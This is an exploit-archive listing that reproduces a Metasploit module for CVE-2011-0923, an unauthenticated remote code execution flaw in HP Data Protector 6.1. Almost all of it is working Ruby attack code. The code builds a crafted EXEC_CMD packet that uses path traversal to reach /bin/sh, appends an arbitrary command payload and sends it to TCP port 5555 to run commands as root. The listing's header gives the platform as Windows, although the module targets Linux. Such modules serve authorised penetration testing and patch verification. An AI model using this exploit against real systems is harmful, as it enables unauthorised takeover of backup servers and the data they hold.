Author

metasploit

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-17580

Category

remote exploits

Date add

25-02-2012

Platform

windows

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
    include Msf::Exploit::Remote::Tcp
    def initialize(info = {})
        super(update_info(info,
            'Name'            => 'HP Data Protector 6.1 EXEC_CMD Remote Code Execution',
            'Description'     => %q{
                This exploit abuses a vulnerability in the HP Data Protector service. This
                flaw allows an unauthenticated attacker to take advantage of the EXEC_CMD
                command and traverse back to /bin/sh, this allows arbitrary remote code
                execution under the context of root.
            },
            'Author'          =>
                [
                    'ch0ks',    # poc
                    'c4an',     # msf poc
                    'wireghoul' # Improved msf
                ],
            'References'      =>
                [
                    [ 'CVE', '2011-0923'],
                    [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-055/'],
                    [ 'URL', 'http://c4an-dl.blogspot.com/hp-data-protector-vuln.html'],
                    [ 'URL', 'http://hackarandas.com/blog/2011/08/04/hp-data-protector-remote-shell-for-hpux']
                ],
            'DisclosureDate'  => 'Feb 7 2011',
            'Platform'        => [ 'unix','linux'],
            'Arch'            => ARCH_CMD,
            'Payload'         =>
                {
                    'Space'       => 10000,
                    'DisableNops' => true,
                    'Compat'      => { 'PayloadType' => 'cmd' }
                },
            'Targets'         =>
                [
                    [ 'HP Data Protector 6.10/6.11 on Linux', {}]
                ],
            'DefaultTarget'   => 0
        ))
        register_options([Opt::RPORT(5555),], self.class)
    end
    def exploit
        user = rand_text_alpha(4)
        packet = "\x00\x00\x00\xa4\x20\x32\x00\x20"
        packet << user*2
        packet << "\x00\x20\x30\x00\x20"
        packet << "SYSTEM"
        packet << "\x00\x20\x63\x34\x61\x6e"
        packet << "\x20\x20\x20\x20\x20\x00\x20\x43\x00\x20\x32\x30\x00\x20"
        packet << user
        packet << "\x20\x20\x20\x20\x00\x20"
        packet << "\x50\x6f\x63"
        packet << "\x00\x20"
        packet << "NTAUTHORITY"
        packet << "\x00\x20"
        packet << "NTAUTHORITY"
        packet << "\x00\x20"
        packet << "NTAUTHORITY"
        packet << "\x00\x20\x30\x00\x20\x30\x00\x20"
        packet << "../../../../../../../../../../"
        shell_mio = "bin/sh"
        salto = "\n"
        s = salto.encode
        shell = shell_mio
        shell << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        shell << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        shell << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        shell << payload.encoded
        shell << s
        sploit = packet + shell
        begin
            print_status("Sending our commmand...")
            connect
            sock.put(sploit)
            print_status("Waiting ...")
            handler
            # Read command output from socket if cmd/unix/generic payload was used
            if (datastore['CMD'])
                res = sock.get
                print_status(res.to_s) if not res.empty?
            end
        rescue
            print_error("Error in connection or socket")
        ensure
            disconnect
        end
    end
end



#  0day.today [2024-11-16]  #